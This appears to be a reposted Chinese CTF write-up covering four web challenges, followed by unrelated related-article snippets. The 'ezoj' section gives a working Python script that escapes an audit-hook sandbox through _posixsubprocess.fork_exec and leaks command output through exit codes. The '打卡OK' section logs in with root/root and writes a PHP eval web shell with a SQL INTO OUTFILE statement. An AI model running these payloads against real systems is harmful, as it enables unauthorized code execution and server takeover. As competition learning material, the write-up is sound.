两学一做山东网站/小型培训机构管理系统

两学一做山东网站,小型培训机构管理系统,郑州建设网站报价,app拉新推广赚佣金文章目录 ezoj打卡OKoffens1veFakejump server ezoj 进来一看是算法题,先做了试试看,gpt写了一个高效代码通过了 通过后没看见啥,根据页面底部提示去/source看到源代码,没啥思路,直接看wp吧,跟算法题没啥关系,关键是去…

文章目录

  • ezoj
  • 打卡OK
  • offens1ve
  • Fakejump server

ezoj

在这里插入图片描述
进来一看是算法题,先做了试试看,gpt写了一个高效代码通过了在这里插入图片描述
通过后没看见啥,根据页面底部提示去/source看到源代码,没啥思路,直接看wp吧,跟算法题没啥关系,关键是去看源码

def audit_checker(event,args):if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:raise RuntimeErrorsys.addaudithook(audit_checker)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好了,现在你已经清楚了,有这样一个函数,只允许白名单上的东西执行。其他诸如system和eval的代码执行不了。接下来利用程序退出码获取python版本信息,退出码就相当于return 0,区别在于这里return的值可控,通过version_info获取版本信息在这里插入图片描述

import sys
sys.exit(sys.version_info[0])

得到Python版本3.12.9,接着看,就算导入os模块,也不能执行system命令在这里插入图片描述
但是可以导入内部模块,即一些隐藏的可以用来执行命令的函数
如_posixsubprocess的fork_exe()函数,它的底层是c代码,所以可以绕过安全审计在这里插入图片描述
在_posixsubprocess模块中有一个c2pwrite参数,可以将子进程的输出数据重定向到父进程,可以利用这一点将数据带出来。
在这里插入图片描述

import requests
URL
= "http://10.253.253.1/api/submit"
CODE_TEMPLATE
= """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:sys.exit(content[{loc}])
else:sys.exit(255)
"""
command
="ls /"
received = ""
for i in range(254):code = CODE_TEMPLATE.format(loc=i,command=command)data = {"problem_id":0,"code":code}resp = requests.post(URL,json=data)resp_data = resp.json()assert(resp_data["status"] == "RE")ret_loc = resp_data["message"].find("ret=")ret_code = resp_data["message"][ret_loc+4:]if ret_code == "255":breakreceived += chr(int(ret_code))print(received)

os.pipe创建通信管道
在这里插入图片描述
在这里插入图片描述

这里学到一个很厉害的技巧:使用管道,如果信息直接输出到终端,且不给回显,就可以通过管道给它先放进去,再从管道的另一端去读,可以采用类似布尔盲注的思想拿出信息,当然这里没这么麻烦。

_posixsubprocess.fork_exec((b"/bin/bash", b"-c", b"ls /"),  # ① 要执行的命令[b"/bin/bash"],                   # ② argv(程序参数)True,                              # ③ 是否关闭所有文件描述符(close_fds)(),                                # ④ 预执行(preexec_fn)None, None,                        # ⑤ 用户ID(UID)和 组ID(GID)-1, -1, -1,                        # ⑥ 文件描述符重定向std_pipe[1],  # c2pwrite           # ⑦ stdout 重定向到管道-1, -1,                            # ⑧ stdin, stderr 处理*(err_pipe),                        # ⑨ stderr 绑定到 err_pipeFalse, False, False,                # ⑩ 设置子进程行为None, None, None,                   # ⑪ 进程优先级和调度相关-1, None, False                     # ⑫ 其他控制参数
)

在这里插入图片描述
启动bash大概就相当于启动cmd这个意思在这里插入图片描述
第二个参数只放程序本身的名字,再往下看,是一个经验性的东西,由于 os.read 可能会将程序卡住,因此在 os.read 之前先sleep⼀下。到这里payload的构建就没有什么问题了,我们再来看看处理数据的脚本怎么构建,先看题目源码在这里插入图片描述
code就是我们构建的payload,通过程序退出码逐个返回信息在这里插入图片描述
这里我们显然不能直接提交到oj平台,所以id设置为0在这里插入图片描述
如果返回状态码为RE说明sys.exit()触发了在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

import requests
url="http://121.41.238.106:50670/api/submit"
CODE_TEMPLATE='''
import _posixsubprocess
import os
import time
import sys
std_pipe=os.pipe()
err_pipe=os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content=os.read(std_pipe[0],1024)
content_length=len(content)
if {log}<content_length:sys.exit(content[{log}])
else:sys.exit(255)'''
rec=""
for i in range(1,244):code=CODE_TEMPLATE.format(log=i)data={"problem_id":0,"code":code}response=requests.post(url=url,json=data)redata=response.json()assert redata["status"]=="RE"ret_loc=redata["message"].find("ret=")ret_code=redata["message"][ret_loc+4:]if ret_code=="255":breakelse:rec+=chr(int(ret_code))print(rec)

打卡OK

先试试非预期解,猜测弱密码,这道题是~泄露,即在要访问的文件名后面加上~就可以访问文件的源码

在这里插入图片描述
实际上这里在首页源码里可以看到web,web的一个账号密码,但是这个账号权限不够,不能执行sql写命令,接下来尝试一下弱密码,用root,root成功登录,拿到权限
在这里插入图片描述
在这里插入图片描述

select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'

写入马用蚁剑连接,在根目录下找到flag

在这里插入图片描述
在这里插入图片描述

offens1ve

这道题需要先在本地host加入

121.41.102.198 oa.offensive.local
121.41.102.198 monitor.offensive.local
121.41.102.198 sts.offensive.local

AI了一下,原因大概是主办方没买域名,所以就没有自动的ip地址到域名的解析服务,需要在本地配置这种映射关系
host文件地址

C:\Windows\System32\drivers\etc\hosts
保存文件后去cmd输入命令刷新DNS缓存
ipconfig /flushdns

随后配置防火墙,添加入站规则,允许两个端口的流量进来,到这里应该是都配置好了,但是还页面还是不能正常显示,猜测赛后环境已关闭。

Fakejump server

  1. Jump Server的定义
    Jump Server(跳跃服务器)是一种用于安全访问内部网络的中介服务器。用户需先登录Jump Server,再通过该服务器访问内网的其他设备(如数据库、应用服务器等)。其核心作用是作为内外网之间的“安全跳板”,减少内网直接暴露的风险。

  1. 堡垒机(Bastion Host)的定义
    堡垒机是网络安全中的关键设备,通常指经过加固的服务器,专门用于管理和控制对内部网络的访问。其主要功能包括:
  • 访问控制:仅允许授权用户通过堡垒机进入内网。

  • 审计与监控:记录所有用户操作日志(如命令、文件传输)。

  • 隔离风险:防止外部攻击直接渗透到内网。


那么到这里其实就可以通过提示,猜出大概是堡垒机的题目了。可以扫描22端⼝以及3389端⼝,因为⼤多数堡垒都是可以通过ssh/rdp端⼝来访问和管理
服务器,很多⼚商ssh/rdp都是⾃⼰写代码实现的,所以难免会出现漏洞在这里插入图片描述
进来看一下,是一个nginx服务器,除此以外啥也没有。在这里插入图片描述在这里插入图片描述端口的安全

接下来去看看哪个端口开放,下载一个端口扫描工具

nmap下载
这里注意使用工具时不要加入http等内容,直接放ip地址就可以了
在这里插入图片描述
扫出SSH端口开放,nc连接

在这里插入图片描述
在这里插入图片描述
接下来学到一种思路和手法,既然是输入账号密码,那就尝试sql注入,通过sleep函数的差异来测试数据库,但是在这里就卡住了,在哪里测试?怎么看测试是否成功?接下来试着跑一跑官方的脚本,报了认证失败的错误,可能是题目环境出了问题,就到此为止吧

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/897642.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git使用(一)--如何在 Windows 上安装 Git:详细步骤指南

如果你想在 Windows 机器上安装 Git&#xff0c;可以按照以下详细指南进行操作。 第一步&#xff1a;下载 Git 可通过官网下载 适用于 Windows 的 Git 最新版本。 如果下载速度较慢&#xff0c;可以通过下面提供的百度网盘 链接下载安装包&#xff0c; https://git-scm.com/d…

本地Git仓库搭建(DevStar)与Git基本命令

本地Git仓库搭建&#xff08;DevStar&#xff09;与Git基本命令 实验环境搭建平台Git基本命令的使用本地仓库的创建代码提交代码合并版本发布 总结 实验环境 搭建平台 按照DevStar的Github仓库要求&#xff0c;在终端中执行下列命令&#xff0c;即可成功安装DevStar到本地部署…

stm32 蓝桥杯 物联网 独立键盘的使用

在蓝桥杯物联网平台里面&#xff0c;有5个外接设备&#xff0c;其中有一个就是6个独立按键。首先&#xff0c;我们先看一下按键有关的电路图。 电路图与cubemx设定 由图可见&#xff0c;独立键盘组由两行三列构成&#xff0c;我们通过行列来锁定要访问的独立按键在哪。ROW1挂…

工作记录 2017-01-06

工作记录 2017-01-06 序号 工作 相关人员 1 协助BPO进行Billing的工作。 修改CSV、EDI837的导入。 修改邮件上的问题。 更新RD服务器。 郝 修改的问题&#xff1a; 1、 In “Full Job Summary” (patient info.), sometime, the Visit->Facility is missed, then …

Python Selenium库入门使用,图文详细。附网页爬虫、web自动化操作等实战操作。

文章目录 前言1 创建conda环境安装Selenium库2 浏览器驱动下载&#xff08;以Chrome和Edge为例&#xff09;3 基础使用&#xff08;以Chrome为例演示&#xff09;3.1 与浏览器相关的操作3.1.1 打开/关闭浏览器3.1.2 访问指定域名的网页3.1.3 控制浏览器的窗口大小3.1.4 前进/后…

SpringMVC 基本概念与代码示例

1. SpringMVC 简介 SpringMVC 是 Spring 框架中的一个 Web 层框架&#xff0c;基于 MVC&#xff08;Model-View-Controller&#xff09; 设计模式&#xff0c;提供了清晰的分层结构&#xff0c;适用于 Web 应用开发 SpringMVC 主要组件 DispatcherServlet&#xff08;前端控…

DeepSeek结合Mermaid绘图(流程图、时序图、类图、状态图、甘特图、饼图)转载

思维速览&#xff1a; 本文将详细介绍如何利用DeepSeek结合Mermaid语法绘制各类专业图表&#xff0c;帮助你提高工作效率和文档质量。 ▍DeepSeek入门使用请看&#xff1a;deepseek保姆级入门教程&#xff08;网页端使用 本地客户端部署 使用技巧&#xff09; DeepSeek官网…

上下分层、左右分离的驱动设计思想

之前了解了最简单的驱动程序、但是不易扩展、现在继续学习、上下分层、左右分离的驱动设计思想。 1、led_dev.c函数 上层函数&#xff0c;①定义一个结构体&#xff0c;存储函数用来接应app的函数。②定义一个入口函数&#xff0c;将我们接应的函数告诉内核&#xff0c;给这个…

《历史代码分析》5、动态控制列表的列

​​ 本系列《历史代码分析》为工作中遇到具有代表性的代码。今天我们讲一下&#xff0c;动态展示列表的列&#xff0c;因为找不到代码了&#xff0c;所有本篇用图展示。 举个栗子 ​​ 我们希望能够动态的控制列表的列&#xff0c;例如&#xff0c;英语老师只想知道自己学…

Windows HD Video Converter Factory PRO-v27.9.0-

Windows HD Video Converter Factory PRO 链接&#xff1a;https://pan.xunlei.com/s/VOL9TaiuS7rXbu-1kEDndoceA1?pwd7qch# 支持300多种视频格式转换&#xff0c;在保留视频质量的同时&#xff0c;压缩率可达80%&#xff0c;转换速度可达50X速率&#xff01; 支持画面剪切、片…

##Hive安装-初始化元数据报错 *** schemaTool failed ***

报错&#xff1a; org.apache.hadoop.hive.metastore.HiveMetaException: Failed to get schema version. Underlying cause: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException : Communications link failure 解决方案&#xff1a; 尝试一&#xff1a;javax.jdo.o…

远程手机遥控开关原理及应用

远程手机遥控开关的工作原理主要是通过互联网传递无线信号&#xff0c;控制用电器的一种智能家居产品。 远程手机遥控开关的基本套件包括&#xff1a;手机APP、网线、家用WIFI中转无服务器或者是工厂提供的自带网线端口的中转服务器、连接用电器的接收器。使用时&#xff0c;手…

Mac java全栈开发环境配置

前言 由于最近手中的windows本子坏了,所以搞了一台m系列的macbookpro 作为一个开发者 面对新设备最先考虑的应该就是各种sdk、中间件服务、环境变量配置和工具了吧!!! 本文将带你手把手学习Mac搭建属于自己的本地开发环境 安装brew 什么是brew? ‌Brew(全称Homebrew)…

HTMLCSS绘制三角形

1.代码&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>01triangle</title><s…

vue3-element-admin 前后端本地启动联调

一、后端环境准备 1.1、下载地址 gitee 下载地址 1.2、环境要求 JDK 17 1.3、项目启动 克隆项目 git clone https://gitee.com/youlaiorg/youlai-boot.git数据库初始化 执行 youlai_boot.sql 脚本完成数据库创建、表结构和基础数据的初始化。 修改配置 application-dev.y…

WinForm模态与非模态窗体

1、模态窗体 1&#xff09;定义&#xff1a; 模态窗体是指当窗体显示时&#xff0c;用户必须先关闭该窗体&#xff0c;才能继续与应用程序的其他部分进行交互。 2&#xff09;特点&#xff1a; 窗体以模态方式显示时&#xff0c;会阻塞主窗体的操作。用户必须处理完模态窗体上…

Agisoft Metashape 创建分块建模

Agisoft Metashape 创建分块建模 文章目录 Agisoft Metashape 创建分块建模前言一、构建分块模型1.1、设置模型范围1.2、参数设置二、构建纹理三、导出分块模型3.1整体导出3.2单独导出选定的分块四、编辑分块模型前言 从 Agisoft Metashape Professional 的 2.1. 版本开始,就…

MinIO的预签名直传机制

我们传统使用MinIo做OSS对象存储的应用方式往往都是在后端配置与MinIO的连接和文件上传下载的相关接口&#xff0c;然后我们在前端调用这些接口完成文件的上传下载机制&#xff0c;但是&#xff0c;当并发量过大&#xff0c;频繁访问会对后端的并发往往会对服务器造成极大的压力…

手把手教你用Docker搭建gitlab

文章目录 前言一、安装Docker二、安装GItlab三、配置Gitlab四、备份五、Docker数据持久化总结 前言 如题所述&#xff0c;手把手带你搭建gitlab&#xff0c;目标是实现ssh链接clone项目&#xff0c;不会我随你怎么说。 说正题&#xff0c;GitLab 是一个基于 Git 的全面 DevOps…

基于springboot住院管理系统(源码+lw+部署文档+讲解),源码可白嫖!

摘要 随着世界经济信息化、全球化的到来和电子商务的飞速发展&#xff0c;推动了很多行业的改革。若想达到安全&#xff0c;快捷的目的&#xff0c;就需要拥有信息化的组织和管理模式&#xff0c;建立一套合理、畅通、高效的线上管理系统。当前的住院管理存在管理效率低下&…